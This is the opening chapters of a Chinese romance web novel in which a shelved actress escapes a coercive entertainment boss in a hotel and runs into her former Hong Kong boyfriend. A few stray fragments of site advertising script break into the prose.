《不夜归港》 1. 不夜1 Until we 1 城中村,隔断房。 狭小的卧室内没有开灯,房间昏暗一片。唯一的光源是桌上亮着的笔记本电脑,屏幕上正在播放一首著名摇滚乐的MV,极具重金属风格。 桌面上散落着写有字迹的纸张,几本厚重的乐理书堆在一侧,书角都有翻阅的痕迹。角落里,唱片的盒子被拆开,还没来得及收回。 桌前伏着一个人影,额头抵在手臂上藏住了大半面容,双眼紧闭。 忽而,那道人影晃动了一下。少女睫毛微颤,手臂收紧,像是梦到了什么。 “是,我接近你带着目的。” “从一开始,就不该招惹你。” “......分手吧。” 话音刚落,一双温热有力的手掌覆住她的脚踝,五指慢慢收紧。 而后突然拽住,向身下拉回。 男人慢斯条理摘下了戴在手上的戒指和腕表。浑然不在意高昂的价格,随手扔在了一边。 他看向她的眼神中藏着不明的情绪。夹杂着震惊,愠气,轻嘲,还有一丝不易察觉的悲悯。 好像在无声说:这就是你给我准备的,惊喜? 紧接着,她感到眼眶被什么东西蒙住,视线被骤然剥夺——那是一条领带,几个小时前,由她亲手系在男人的颈间。 陷在黑暗中的那种感觉太过熟悉。 在视力恢复前,那人曾隔着纱布虔诚吻住她的眼睛。 一遍又一遍,在她耳边说着“很漂亮”。 察觉到她的走神,耳后的那道灼热气息更加重了几分。 身体浮沉没有支撑点,她只能下意识朝面前伸出手,想要抓住什么。但却被男人扣住了手腕举过头顶,十指紧紧合住。 在意识快要溃散之际,她听到耳畔传来一道磁沉的嗓音。 可无论她怎么努力,都听不清那句话究竟说的是什么。 而后,不断下坠。 陷入更深更炙热的漩涡中。 . 强烈的失重感让黎泱猛然惊醒,她下意识伸手摸了摸自己的眼睛。 耳机里,音乐恰好播放到尾声。最后一句歌词不偏不倚落进了黎泱的耳中。 ——Untilwedie,neverstop.(我们不死不休) 黎泱缓缓吐出一口气,起身开灯看了眼时间,已经是晚上六点。不知道什么时候睡着了,醒来发现有五通陌生来电。 她随手拨了回去,等待接通的时间又从床底拉出行李箱,从里面翻出了几件衣服。 “喂?请问是黎泱老师吗?我叫小米,是公司配给您的助理。” 电话那头传来青涩的女声,不难听出紧张感。 黎泱思考了两秒,去翻了自己和经纪人的聊天记录,明白是怎么回事了。 她为了试镜采风,搬到城中村住了一个月,这期间与外界一直处于失联状态。 经纪人半个月前给她发了条消息,说安排了一个助理负责她以后的事务。这句话的潜意思是:没事就别来麻烦我了。 这就是她目前在公司尴尬的处境。 一个查无此人、被隐形雪藏的艺人现状。 “你好小米,叫我全名就行。” “哦哦好的黎老师。那个......明天就是《无界》的试镜了,听说你还在城中村,需要我今天接你回来吗?” 黎泱已经换好衣服,还没来得及开口回答,就听到大门传来动静。 是她合租的舍友带着男朋友回来了。 “老子忍了一路,总算到家了。哎,你那个舍友在吗?” “谁知道,她一直窝在房里。我到现在连她的正脸都没见过。” 纸壳做的隔音墙委实对不上它的名字。调笑声和暧昧的对话透过门板传到屋内。 电话那头的小米也听见了,无声安静了片刻。刚毕业的大学生涉世未深,正纠结要怎么接话的时候,听到黎泱开口了:“我今晚还有事,明天在试镜地点见。” 今晚才是重头戏。 是检验她这么多天采风成果的时候。 《无界》是全网最近热议的一部电影。号称是著名导演梅仁的人生收官之作,眼下正在公开选角阶段。 黎泱被其中的女二角色——一个离经叛道的摇滚乐队主唱吸引。 为了试镜,她试图按照剧本复刻角色的生活轨迹,将自己变成她。黎泱不仅剪掉留了多年的长发,恶补相关知识,还参照角色的生活环境搬到了城中村。 她更是联系了一家酒吧的老板,和他做了笔交易,今晚要在那里驻唱试验采风效果。 门外的动静还在继续。为了小米的身心健康着想,黎泱赶紧挂断了电话。 她找出耳机重新戴上,把音量调到最大。找出化妆包,尝试画了自己从未试过的妆容。 片刻后,原本属于黎泱本人的特征在一点点消失。 取而代之的,是《无界》里那个离经叛道的乐队主唱角色。 镜子前的女生留着及肩短发,脖间戴着两指宽的黑色皮革choker项链。脸上画着烟熏妆,眼尾线条锋利上扬。 身穿白色背心,外面套着黑色短款皮衣。砖红色短裙下脚踩骑士靴,露出笔直白皙的双腿。 可能是第一次化浓妆还不太熟练,眼影有些画重了。手机的面部识别在第一一次都没有认出黎泱。 她忍俊不禁笑了下,心想这样也好,说明今晚没人会认出她。 虽然以她目前在娱乐圈的身份,和素人相比并没什么差别。 黎泱收拾好东西,出发前再次和酒店老板确认了信息。听到外面安静下来没了动静,这才戴好口罩推门出去。 客厅一片凌乱不堪,黎泱眉头微皱,将口罩压紧。 舍友刚好擦着头发从浴室出来,看到她一愣。 合租了这么多天,这还是两人第一次打照面。 舍友上下打量黎泱:面前的女生皮肤冷白,口罩虽然挡住了大半脸,但露出的五官依然十分有辨识度。她的身材纤瘦却绝不单薄,匀称而有力。 原本以为她是因为身材自卑或容貌焦虑才避人不见。但在见到黎泱本人后,舍友心里的这些念头全部不攻自灭了。 就在这时,隔壁的卧室门开了。舍友带回的那个男朋友赤裸上身走出来,看到客厅内的情形诧异了一下,接着眼神直勾勾盯着黎泱。 “呦,晚上穿成这样出门啊。难怪以前从来没见到人,原来是干这行的啊......” 男人流里流气说着,舍友站在一边也毫无反应。 黎泱脚步一顿,停在了门口。 她回头,手指勾住攥紧了双肩包的带子。上下扫了那男人几眼,接着把目光转向了站在一边的舍友,意味深长地说:“才二十五分钟,我建议你带他去看看医生。” 说完,她不再去看屋里两人的脸色,带上房门离开。 直到下楼上了出租车,和司机报了地址后,黎泱才松开刚才一直紧紧攥住包带的手。 掌心湿润,早就蒙上了一层细汗。 她靠在椅背上,望着窗外一闪而过的风景 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,慢慢平稳情绪。 黎泱刚才入戏了。 那句话,是剧本里的台词。 如果按照她本人不惹事低调度日的性格,面对恶心揣测时,是不会说出那样带有攻击性的话。 入戏是好事,意味着能在镜头前带来更极致的表现。 可一旦过了那个界—— 圈里不是没有出不了戏,最后酿成悲剧的例子。 黎泱从包里掏出矿泉水喝了口,压下心头的情绪不让自己多想。她今晚的重头戏是酒吧驻唱,现在不是胡思乱想的时候。 只是,下午的那个梦。 八成是她最近日夜颠倒钻研剧本,导致身体疲惫提出抗议了。 ——否则那些被她压在心底的记忆,怎么会又重现浮上心头。 司机是个健谈的中年人,没有对黎泱的穿着打扮觉得怪异,反而以为她是和自家女儿一样喜欢玩cosplay。 “姑娘,听你这口音是江市本地的?” “不是,我是嘉市人。” “那这粤语说的不错啊,肯定是身边有人教才能耳濡目染学会。” 可不是。 司机的一句话,又把黎泱的记忆拉回过去。 在那一年里,她为了能顺利在港城生活、留在那人身边,被他不厌其烦地一字一句耐心教着。 粤语的有些发音对她来说可真是够难为人的。在她都懊恼有些自暴自弃的时候,偏偏那人依旧从容淡定。 他伸手漫不经心点了她的颈部,手指动作轻浅一路向上,沿着皮肤划过她的下巴,又不留痕迹地收回。 他就坐在黎泱的对面,气定神闲。嗓音磁沉又清朗,但看向她的眼神中又闪过一丝戏谑的笑意: “黎小姐,又错了。” “或者说,我应该加入一些惩罚措施?” “吱——” 就在这时,刹车声猛然惊响。 黎泱从回忆里抽身,扶住前排座椅,探身向前查看究竟发生了什么。 司机心有余悸地拍了拍心口:“好险,差点就撞上去了。” 原来是十字路口左侧突然有车窜出。为了躲避,司机和对面车道的一辆银色轿车都紧急打了方向盘。 交警很快注意到了事故,前来处理。司机要下车去配合调查,不能把黎泱送到目的地了。 好在她看了眼导航,从这里步行到酒吧不过几分钟路程,时间来得及。 黎泱下车,余光瞥见了那辆挂着两地牌照的银色轿车。前盖上是明晃晃的欢庆女神标志,足以预见整个车身不菲的价格。 那辆银色劳斯莱斯的后座车窗紧闭,单向玻璃隔绝了外界窥视的目光。 从它身边经过的时候,黎泱并没有停留。 忽而,劳斯莱斯的司机下车走到后座,谦卑地轻扣了两下车窗。 “沈先生,谈总已经派人来接您了。” 后窗降下了几分。 昏暗的车厢内,只有一抹猩红的烟蒂在发亮,隐约照出一抹男性的轮廓。 烟蒂被夹在男人的指间,那是一双兼具骨感和力量的手。中指和小拇指上叠戴了两枚戒指,绰约迭起的青筋向上隐没在了西装袖口下。 男人的五官和神情都藏在了忽明忽暗的光线中,令人难以准确捕捉。但能分辨出他清晰又锋利的侧脸线条,卓越又立体,一笔连贯勾勒而出。 似乎是察觉到外面的视线,男人些许偏头看向了窗外。 但黎泱早已收回了目光离开,擦肩而过时,留下的只有一道模糊背影。 2. 不夜2 2 黎泱掐着时间赶到酒吧,去后台准备上场表演。 原本常驻的主唱这两天生了病,这才给了黎泱机会。玩乐队的都有些特立独行,更何况是摇滚乐队,其他成员对于她的出现并没有多好奇。 加上她出门前带了妆,在娱乐圈又足够糊,没人会认出。 黎泱把今晚要表演的曲目提前练习了很多遍,但到了现场,还是免不了紧张的情绪。 明天就是《无界》试镜的日子。今晚的表演,关乎到最后的试镜。 被公司隐形雪藏后,她几乎很难在镜头前露面。没有资源没有通告,经纪人手下的艺人又不止她一个,因此对黎泱完全处于放养不顾自生自灭的状态。 《无界》是对外公开试镜,意味选角范围更广。经纪人没对黎泱提起过这事,所有的材料都是她一人准备递交的。 即使明知道希望渺茫,她还是义无反顾去做了。 临近上台前,酒吧老板忽然神情严肃地跑来,交代他们等会要好好表演。键盘手打听了一圈回来,说是今晚会有贵客到场。 黎泱全身心在准备演出,对此根本没有放在心上。 演出正式开始。 伴奏响起,乐声在贝斯的垫音下更加强烈,鼓点急促劲燃,令人血脉偾张。 黎泱握住面前的话筒,脑海里闪过的是多日来翻过的《无界》剧本。 此刻,她要忘掉自己的身份。 . 沈有容下车,反手关上了车门。他抬眼看见面前建筑物上的招牌,回头挑眉,无声望着身后的谈由。 “你口里的接风洗尘,就是把人送到酒吧来?” 但凡此刻换一个人听到沈有容的质问,估计早已内心忐忑不安了。 但谈由跟沈有容十几年的交情,早已练就一副好心态和大心脏。 他把车钥匙随手扔给服务生,一本正经又善解人意地解释:“酒吧怎么了,这不比那些讲究牌面的宴会强。怎么,你今天商务餐还没吃够啊?” 谈由越说越起劲,最后把自己也给说服了:“不过你那通电话打来的正是时候。要不是你解救了我,我迟早要闷死在晚宴上。” 沈有容轻笑了一声,对好友的话不置可否。 他单手松了松领带,解开,连同西装外套一递起给了身后的应侍生。 因为早上有商务会议,因此穿的是正装。可要是穿着这副打扮进了酒吧,那就显得有些不伦不类了。 宁恒集团这次开拓内地市场,意味着一段时间内公司的重心会从港城转移到江市。沈有容身为继承人必须要出面,而且要全权负责。 他来江市的第一天先和当地政府会了面,商讨后续开展的项目进程。之后是几场商务会议,到流程全部走完,早已有了倦意。 原定晚上还有场私人性质的组局,由谈家的长辈牵头,沈有容不好拂了面子不去。但刚才在路上出了事故,他这才有机会把电话打给了谈由。 一开始司机说谈由派了人来接他,没想到却是他亲自从宴会上离开来接人。 然后,两人一起名正言顺地缺席了。 谈由调侃沈有容:“你可不知道,当时会场上有多少家千金名媛,全都是奔着你沈总的名号去的。” 这话不假。 沈有容赴内地的消息传出后,多少人费尽心思想往他身边塞人。就算今晚不去,也不能打消了那群人的念头。 两人在楼上包厢落了座。这里视野开阔,没有下面喧嚣杂乱的人群和背景音,但又能俯瞰全场。 谈由之前在这里存了瓶好酒,今天总算有正当理由打开了。 他悄悄打量了几眼坐在对面的沈有容,看着男人一副闲庭自若又矜贵自持的气质,心中生出无限感慨。 明明只是过去了三年,沈有容周身的气场却发生了翻天覆地的变化。 说不出该欣慰还是惋惜,如果没有发生那件事...... “伯父伯母最近身体如何,我有段时间没回港城见过他们了。” “都好。” “我听我妈说,沈夫人最近一直在给你物色适龄的世家小姐,这事真假?” 沈有容停了两秒:“等过两天Cindy回国,她应该能我身上转移注意力了。” 这不就是默认。 所以沈有容突然跑来江市,难说其中是不是有躲避这事的意思。 谈由突然会意,掰着手指说:“你怎么不在身边找个女人,好当搪塞的理由?既能让你家里态度放松,也断了外面那些人巴结的念头。要是不放心那些名媛,也有嘴严的女明星,圈子里不是都心知肚明......” 沈有容沉默听着,盯着酒杯里打转漂浮的冰块。 等到谈由的话说完了,才淡淡开口:“所以你觉得,我该去找女人?亲手将把柄递到她手里。” “倒也不是这个意思。好了好了,你自己有主意,我不帮倒忙。”谈由举手投降,想到了什么,暗骂自己刚才真是傻了,竟然忘了那茬事。 沈有容坐在上位,双腿自然交叠着,手持酒杯,脸上的神情倒看不出什么异样。 就在这时,楼下舞池突然传来了乐声。是首人尽皆知的曲目,并没什么稀奇的。 但令人印象深刻的,是演唱者的嗓音。 她的嗓音条件很独特。圆润清亮不顿浊,起音快而澈。仔细辨听的话还能发现一丝柔和,令人下意识留心追寻起来。 不止是客人,乐队的其他人也飞快交流了眼神,显露惊讶。 黎泱表现得很松弛随意,站在话筒架旁身体微微前倾。及膝长靴包裹着纤长的小腿线条,站立得平稳笔直。 小烟熏和斜飞的眼线给她身上渡上了一层冷厌的风格。随着她的动作,戴在脖间的choker项链吊坠不时轻微晃动,折射出一道银光。 头顶不断变换的光线投射下来,忽明忽暗。 让她成为全场的焦点,却又难以看清五官。 人声响起的一瞬间,沈有容手上的戒指碰到了玻璃杯壁,发出两声“叮当”脆响。 饶是谈由这样的公子哥也来了兴趣,出包厢撑在栏杆上看着:“这姑娘够独特的,看样子是新面孔,以前没见过。” 他一面说着,转头看见沈有容不知何时也出了包厢,立在身侧不发一言。 视线却是看向楼下的。 片刻后,沈有容招手叫来老板低语了几句。谈由听得好奇:“你刚刚和老板说什么呢?” 沈有容抿了口杯中酒,冰块还未完全融化,血红色酒□□体带着冰凉的触感沾上了薄唇。 这抹红色在他身上形成了鲜明的对比,带着一种妖冶的美感。 像电影镜头中被刻意突显的象征性符号。 ——同时也是猎食者在行动前发出的某种讯息。 沈有容没抬头,轻飘飘地递来两个字:“点歌。” “哦......啊?” 谈由一脸狐疑,还以为是自己是听错了。 港城沈家和宁恒集团的继承人,大晚上跑到酒吧来......点歌? 什么歌非得现在听? . 歌单上的最后一曲终了,黎泱唱完最后一个音,拔下架子上的话筒朝台下鞠躬。 她摘了耳麦,转身准备下台。这时却看见老板焦急等在台下,朝她挥着手。 “怎么了?”难道是刚才的表演出了问题? 老板的语气带着一丝请求:“能不能辛苦你再唱一首?有位客人想听首歌。” 其实他心里也很无奈。谁能想到那位贵客会突发奇想要点歌。 黎泱看出了老板的难处。她今晚能表演是托了老板的帮忙,再说只是一首歌而已,没道理推辞,于是点头答应了。 但在听到歌名后,她的动作一顿。 . “为什么是这首?” 谈由看着舞台上其他人都撤走了,只剩下了那个主唱姑娘。 大概是因为乐队不熟悉谱子,毕竟这是首挺老的粤语歌。 让一个正儿八经的摇滚乐队来演奏情歌,一般人还真做不出来这事。 谈由看着提出这主意的幕后之主——沈有容选了一个极佳的位置,闲庭自若而立,表现得好像真的只是突然想听歌了。 他没有直接回答谈由的问题,而是换了个话题: “我之前教过一个人说粤语,一开始纯粹因为无聊。” 他摩挲了左手的戒指,语气平缓。 “方法是让她找了粤语金曲一百首,学会了对着我唱。” 谈由:“......” 这什么奇葩方法,怎么听上去那么不靠谱。 他好奇追问:“效果呢?” 沈有容一哂,眼神微动。他注视着台下的那道身影 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,好像在回忆着什么。 “最后的效果,是她把所有歌都学会了。” “哦,顺带对我唱了几十遍的中意我。” 谈由:“......” 妈的,他怎么感觉这话那么怪呢? 楼下,黎泱一人又站上了舞台。 要唱的那首歌,从曲调到歌词,按理来说她都应该非常熟悉。可是离开港城以后,她再也没有听过一次。 能不能唱好,心里更没有把握。 怎么偏偏是这首? 为什么又是这首。 只要她此时抬头向上看几寸。 就能看见楼上走廊处,那道从始至终注视着她、等待目标踏入狩猎范围的眼神。 . 《无界》试镜结果出来那天,最激动的是小米,一人承担了气氛组的角色。 刚出社会的大学生,带着清澈懵懂,怀着对娱乐圈演艺行业的憧憬。在她心里,黎泱未来必定火遍大江南北。 “姐,你太厉害了!这可是梅仁导演执镜的最后一部电影啊,网上疯传的选角阵容都被你给横扫了!” 黎泱入行来第一次听到这么直白热烈的夸奖。多年行成的低调性格让她下意识回避:“没有那么夸张,我也没有你说的那样好......” 小米斩钉截铁:“怎么会!这可全是实话,包真的。” 黎泱很浅地笑了一下,低头整理从城中村带回的东西,遮住了眼底的情绪。 手机这时发出震动,收到了两条陌生短信。 黎泱眼皮忽然一跳。 “试镜成功,恭喜。” “但我也有一个坏消息告诉你——这个角色,你拿不到。” 小米原本还在兴奋计划要订饭店庆祝,结果突然收到了经纪人Mia的电话。 她眉间的喜悦维持不到两秒,随即变成天塌了的表情。 愣了好半天,欲言又止地看向了黎泱。 “Mia姐说,刚刚剧组联系了她......他们经过商讨,那个女二的角色决定换人。” “......” 黎泱闭了闭眼睛,曲起手指很快地揉了下眼角,动作轻微到小米都没有注意。 她弯腰,把从城中村带回来的那箱东西都推到了柜子下。做完一切,她站起来对小米说: “你刚才不是订了饭店吗?刚好到饭点了,一起出去吃顿饭。” “黎泱姐......”小米担忧地看着她。 试镜成功的喜悦还没来得及庆祝,转头就收到了换人的消息。变化来的太快,任谁一时半会都接受不了。 黎泱身为当事人却表现得无所谓,反而转过来安慰小米:“这对我来说是很常见的事,已经习惯了。走吧,我也......很久没去外面转转了。” 她在城中村断联的二十多天里,为了研究好角色,每天日夜颠倒作息全乱。 试镜的那几段台词她已经背得滚瓜烂熟。有天半夜坐在桌前写人物小传,有一瞬间忘记自己为什么坐在这。 恍惚间觉得,好像自己只能到这了。 一股颓丧情绪无端蔓延在她的心口。 和小米分开后,黎泱拿出手机,找到了发来短信的那个号码。 电话很快接通。 “竟然等到了你主动打给我的这天。” 那道声音带着愉悦,听起来心情很好。 黎泱用力将手指按得泛白。 她只觉得那人惺惺作态,觉得恶心。 “三年了,你就是不肯放过我。” “梁、恪。” 盛美娱乐的幕后老板,梁恪。 她把最后两个字咬得很重,像是在宣泄这些年受到的不公待遇。 电话那头沉默了一瞬:“连名带姓地叫了我,挺长时间没听到了。” 梁恪似乎丝毫不在意黎泱的质问语气,咔嚓一声按动了打火机,点了根烟。 “觉得不甘吗?付出那么多心血想努力演好一个角色,到头来一场空的滋味很不好受吧。” 他语速很慢,像在循循善诱。但说出的话像吐信的毒蛇,令人不寒而栗。“三年前我把你带入圈,把规则摆在了你面前,是你选择了逃避。” 梁恪摁灭了烟蒂,将手机贴近耳侧,不放过电话那头一丝呼吸声。 “黎泱,你想要这个角色,应该知道拿什么来换。” 3. 不夜3 3 维景酒店。 下车前,黎泱从经纪人手中接过了一样东西。 是张房卡。 “梁总在楼上等你。” Mia是现在圈内当之无愧的金牌经纪,带的都是当红艺人。但没人知道,她手下还有一个藉藉无名的黎泱。 三年前,黎泱被梁恪一手签到盛美,Mia也被安排成了她的经纪人。 她在圈里待了这么多年,第一时间就嗅出了两人关系匪浅。 Mia本以为黎泱会和其他女人一样被梁恪捧红,却没想到等来的是雪藏她的消息。 那之后,黎泱如同成了公司的弃子,石沉大海。她没有任何的资源和通告,只靠自己去小剧组争取演龙套角色。 但梁恪对她关注度却从未消减。 Mia是旁观者。她知道这两人在进行无声的较量。 这场较量持续了三年。 不过今天来看,黎泱好像认输了。 黎泱将房卡握在了手心。她朝经纪人点了点头,转身进了酒店。 电梯内,她把那张房卡夹在指尖。很薄,只要她用力,轻而易举就能折破。 黎泱很快移开视线,从电梯的镜子里看到了自己的脸。 眼下仍旧有未消散的黑眼圈,她的作息还没完全调整回来。出门的时候更没有化妆的心思,连支口红都懒得涂。 她搓了搓脸,努力让自己看起来气色没那么憔悴。 同时也是暗中给自己打气。 黎泱怀着一股英勇赴义的决心出了电梯,站到了1506号房间门口。 静默了良久,她没刷房卡,曲起手指敲响了房门。 . 沈有容打开房门。 外面站着负责这次峰会的pr,脸上挂着恭谦的笑容:“沈先生,明早的活动安排需要为你更改吗?” 因为知道沈有容的身份,pr来之前是抱着百分之二百的严谨态度。他用余光悄悄打量了面前的男人,心中暗自感慨:这位传闻中的豪门继承人,不止是身份顶级,容貌和气质更是出尘。 沈有容一手握着手机,还未开口回复,倒是电话那端传来八卦的声音。 “谁啊谁啊,大晚上在酒店敲你的门......” “照旧即可。” 沈有容点头回复了pr,这才继续了通话:“这个时间点你该去参加毕业典礼了,沈汀仪。” “哇哦,难为你还记得今天是我毕业的日子。对了哥,我今早出门前看了你的星座运势哦,恋爱指数五颗星。不过按照时差你那边都晚上了,有没有......" 没等她说完,沈有容直接挂了电话。 站在门外等待的pr这才躬身道:“好的。那就不打扰沈先生您休息了。” 恰好走廊外传来两个工作人员交谈的声音。 “上面突然安排人打扫1506号房,听说是梁总要入住?” “是。但他之前都固定住另一间房,不知道这次怎么变了。” “刚才有人看见一个女人拿着1506的房卡刷了电梯。恐怕又是哪个戴着口罩全副武装的女明星哦......” 听到这,pr低声训斥:“员工培训的规矩都忘了?客人的隐私是你们能编排的?” 两个新来的员工面面相觑,这才悻悻闭了嘴。 身后传来一道“咔哒”轻响,是沈有容房门彻底关上的声音。 . 黎泱刚敲了房门一下,就听到玄关处传来脚步声。 梁恪身着黑色衬衫开了门,居高临下扫视着黎泱,镜片下的眼神幽深。 “很准时。” 他开口下了评价,而后转身将过道让出,笃定黎泱一定会进门跟上。 黎泱从进门开始,一直和梁恪保持着一段距离,在他对面的沙发上坐下。 梁恪眼神动了一下,什么都没说,自顾自倒了杯酒。 黎泱在耐心地等他先开口。 她把双手搭放在膝盖上,背脊挺直,身体只接触了沙发表面一小部分。 这是人在处于不安环境中,身体下意识的戒备反应。 又过了几分钟,直到梁恪杯中的酒还剩一小部分,他才地对黎泱说:“我以为你是想明白了才接的房卡。” 来了。 黎泱将膝盖上松开的手掌慢慢攥紧,让声音听起来正常:“是想明白了一些事。但还有一些要亲自来问问梁总。” “......” “你可以向《无界》剧组施压,让他们说换人就换人。因为盛美是出品方,梁总当然有对角色内定的权利。” 黎泱顿了顿,克制住嗓音的不稳和颤音。 “我只是想问,为什么被换掉的这个人一定是我。就因为我三年前拒绝了你的潜规则暗示,对吗?” 为什么要选择她? 为什么一定是她? 一句质问,积压了三年里受到的所有委屈和不公对待。黎泱屏住呼吸等着梁恪的回答。 然而等到她最后一个字音完全落下,梁恪才无奈地笑了下。 “你知道自己和专业演员的差距在哪里吗?” 黎泱心头一紧。 “你演技很好,但似乎忘了自己是在表演。” “从一开始我就不相信你会温顺赴约。” “黎泱,你的录音笔,可以关了。” 变故发生在电光火石间。 黎泱猛然起身转向玄关,但梁恪早已预料到她的动作。 在她要触碰到门把手前,梁恪从后拽住了她的手臂,从她外套的口袋里掏出录音笔扔在地上。 “看来是我温水煮青蛙的训导方式见效太慢,让你至今还保存着这份天真。” 梁恪的眼中闪过一抹怜悯,但只存留了短短一瞬。 黎泱似乎预感到了什么,反手挣脱甩掉了被梁恪抓在手里的外套。紧急时刻身体迸发出了巨大力量,她咬牙用尽全力狠狠推了梁恪一把—— 旋即按下门把手夺门而出。 不能留在这!不能被梁恪抓到! 她的脑海中只残存这两个念头,拼命在走廊上奔跑。 高层行政走廊通道复杂,蜿蜒曲折。黎泱不敢回头去看身后。她知道梁恪现在一定很恼怒,会找人堵她。 出口,出口!到底在哪里—— 黎泱只能凭本能选择了一个方向。她的身体因为太久没有运动,慌乱中脚步踉跄了两下,跌跌撞撞摔在了地上。 她抬头,恰好发现面前虚掩的房门,里面黑暗一片看起来没有开灯。 是保洁打扫后忘记锁门了? 同一时刻,原本安静的走廊上隐约传来对话和脚步声,而且是朝着这个方向! 黎泱根本无法顾及太多,只能从地上爬起来选择推门而入。 她飞速掩上房门,背抵在门板上。门外的人群似乎在顾忌什么,并没有踏入这片区域。 极度紧绷的身体此刻再也支撑不住。黎泱只觉得双腿发软,身体慢慢从门板上滑落。 刚才在走廊上奔跑耗尽了大部分力气,停下来后心脏仍在狂跳不止,喘气声不停。发丝更凌乱不堪,被汗水黏在了额角。 黎泱在黑暗中抹了把脸。然而危机意识刚解除片刻,就在寂静的空气中听到了细微的脚步声。 她跪坐在地板上,朝着声音发出的方位抬起头。 然而眼睛在黑暗中怎么都辨别不清来人的身影。 只是,似乎有种莫名的熟悉感。它牵动着心脏的位置,让黎泱一时间分不清是刚才奔跑的疲倦还是什么别的原因。 终于,那人停在了距离她仅有几步远的位置。 “怎么总能把自己弄得这么狼狈。” 黎泱觉得胸口蓦然一滞,像有千万条细线缠绕着,绞得发酸。 前几天做梦时附在她耳边的低沉嗓音,透过梦境和时光长廊,和面前男人的声音附和重叠。 “......分手吧,沈有容。” 那记忆好像还在昨日。 又好像真的只是自己做的一个经年荒诞的梦。 嗓子发干,生涩又有些痒。她想说点什么,但是临近开口又都堵在了嘴边,发不出一个字。 黎泱的眼睛在黑暗中辨识度很差,更不要说透过沈有容的背光剪影,看清他的脸了。 ——但她根本忽视不了他投在自己身上的那道视线,带着强烈的存在感。 静默了几秒,黎泱撑着手肘站起。刚站稳,膝盖就传来一阵刺痛。身体缺乏锻炼,刚才又摔了两下,应该是肿了。 下一刻,头顶灯光忽然骤亮,刚才在黑暗里的隐秘情愫悄无声息间褪去。 沈有容立在灯光下,穿着浴袍,身上氤氲的水汽还未散去。 暖调灯光将他的五官描摹地更加立体,又意外柔和了锋利的脸部轮廓,少了几分白天的凌厉。 他一眼就看出黎泱有些别扭的站姿。 “腿怎么了?” “......” “我还以为这双腿能带着你再跑三年呢。” “看来也没那么争气。” 黎泱:“......” 她只是膝盖肿了,又不是瘸了腿断了! 黎泱沉住气,想靠着装陌生人混过去。 她知道自己现在应该偏过头去,或者直接潇洒转身推门离开。 可她还是没忍住。 选了个最不明智的做法。 眼睛向前抬起了一个微小的弧度,想用眼角余光看向沈有容。 结果正好和他对视上,被逮了个正着。 沈有容似笑非笑盯着她,也不说话,就这么睨着眼看她。 仿佛在用眼神说: 黎泱,你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 躲什么? 黎泱心里蹦出这样的念头:如果这个时候收了视线,落到沈有容眼里,那就真的成自己落荒而逃了。 于是她顶住畏缩情绪,也盯着沈有容—— 的衣带。 不知道是匆忙还是追求舒适,他腰间那条浴袍腰带系得不算紧,两端一长一短向下垂着,隐约勾勒出劲腰。 黎泱不敢和沈有容对视,所以就转移了目标。那架势仿佛要把衣带盯出洞来。 直到头顶传来一句话:“去浴室,把衣服脱了。” 黎泱终于破功,再也装不下去,抬头诧异地看着沈有容。 她往门口挪了挪,扶着门框警觉地说:“......你什么意思?” 沈有容一眼看穿她的在想什么,勾了勾唇角:“上药。”他又故意反问了一句,嗓音戏谑:“你以为是什么意思?” 听到他这么说,黎泱眼神有些飘忽,声音也小了:“我腿没事......” 但沈有容略过她的话,继续开口: “两个办法。去浴室换件浴袍好上药——或者我用剪刀剪了你的衣服再上药,到时候你就这么走出酒店。” 黎泱低头看了看自己穿的牛仔裤,真的在权衡如果在裤子上来一刀会是怎样的画面。 还没权衡好,又听到男人说:“房间里没有剪刀,所以你只能选第一种方法了。” 这人—— 两三句话,就给黎泱安排得明明白白。 还真是他一贯的作风。 沈有容确实有这样的能力,风轻云淡间掌控着一切,不容他人置喙。 黎泱沉默了两秒,最后还是败下阵,逃也似地去了浴室。 等她出来,看见沈有容站在门口从pr手里接过了药箱。还交代了一句:“明早活动时间推迟一小时。” 关上门,他提着药箱回来,对黎泱说:“坐下。” 真是从未设想过的重逢场面。 毕竟当初在港城,两人最后分手不算愉快。 她走得决绝又利落,几乎是抱着这辈子都不会再遇见的念头。 谁能想到会在今晚遇上。 还是在她这么狼狈的时刻。 三年过去,男人身上沉淀出独属于上位者的凌厉气质。举手投足间都比过去更成熟,更有致命的吸引力。 反观她自己——混得确实有够差劲。 这么一想,沈有容那句“怎么总能把自己弄得这么狼狈”,说得可真是一点没错。 黎泱在心里胡思乱想,等她回过神来一惊。 沈有容坐在她旁边,单手握住了她的脚踝,将她的腿搁置在自己的膝盖上。动作牵扯浴袍上拉了几寸,露出了黎泱已经青紫的膝盖。 他手上带着板戒,冰凉的戒身堪堪擦过黎泱的小腿皮肤,让她脚背下意识绷紧。因为靠得近,她甚至能闻到沈有容身上淡淡的清冷薄荷香。 黎泱感觉身体一僵,按住他的手,赶紧从沈有容的手里抢过了棉签和碘伏。 “我自己弄就好。” 说着,身体又往旁边挪了几寸。 和沈有容拉开了一段距离。 一副唯恐避之不及的架势。 沈有容掀了掀眼皮,压下了眼底浮动的情绪。 桌上的手机显示一条新消息,是沈汀仪发来的“今日星座运势指南”。 “恋爱指数五颗星”,几个大字映在沈有容眼中。 倒是说准了一点。 他眉间舒展几分,在手机上点了几下。关掉手机交叠双腿,手指一下一下轻扣在膝盖上,看向背对着他的黎泱。 大洋彼岸,远在纽约参加毕业典礼的沈汀仪看着银行卡收款消息陷入了沉思。 ......她哥这是被盗号了? 黎泱在给自己上药的时候,一直忽视不了身后拿到形如针芒的视线。 她硬着头皮,装作若无其事涂完碘伏。把东西收拾好,甚至不想等药水风干了就抓紧离开。 这个念头才一出现,她就听见沈有容叫了她的名字。 “黎泱。” 他开口的一瞬间,黎泱已经做好了被男人翻旧账的准备。 结果预料中的场面根本没有出现。 沈有容只说了两句话。 “头发短了。” “但也很漂亮。” 黎泱感觉喉头一哽,满腔无处释放的情绪,下意识想要逃离。 她一腔孤勇,在不知道试镜结果的前提下剪掉留了多年的长发,仅仅只是为了贴合角色吗? 不是的。 ——也是想狠下心和过去彻底告别。 黎泱以为自己伪装得很好。可沈有容却一眼看破她的伪装,让它倾刻间分崩瓦解。 “今晚夜还早,我想我们有充足的时间。” “现在可以说说,当初提分手的事了?” 4. 不夜4 4 四年前。 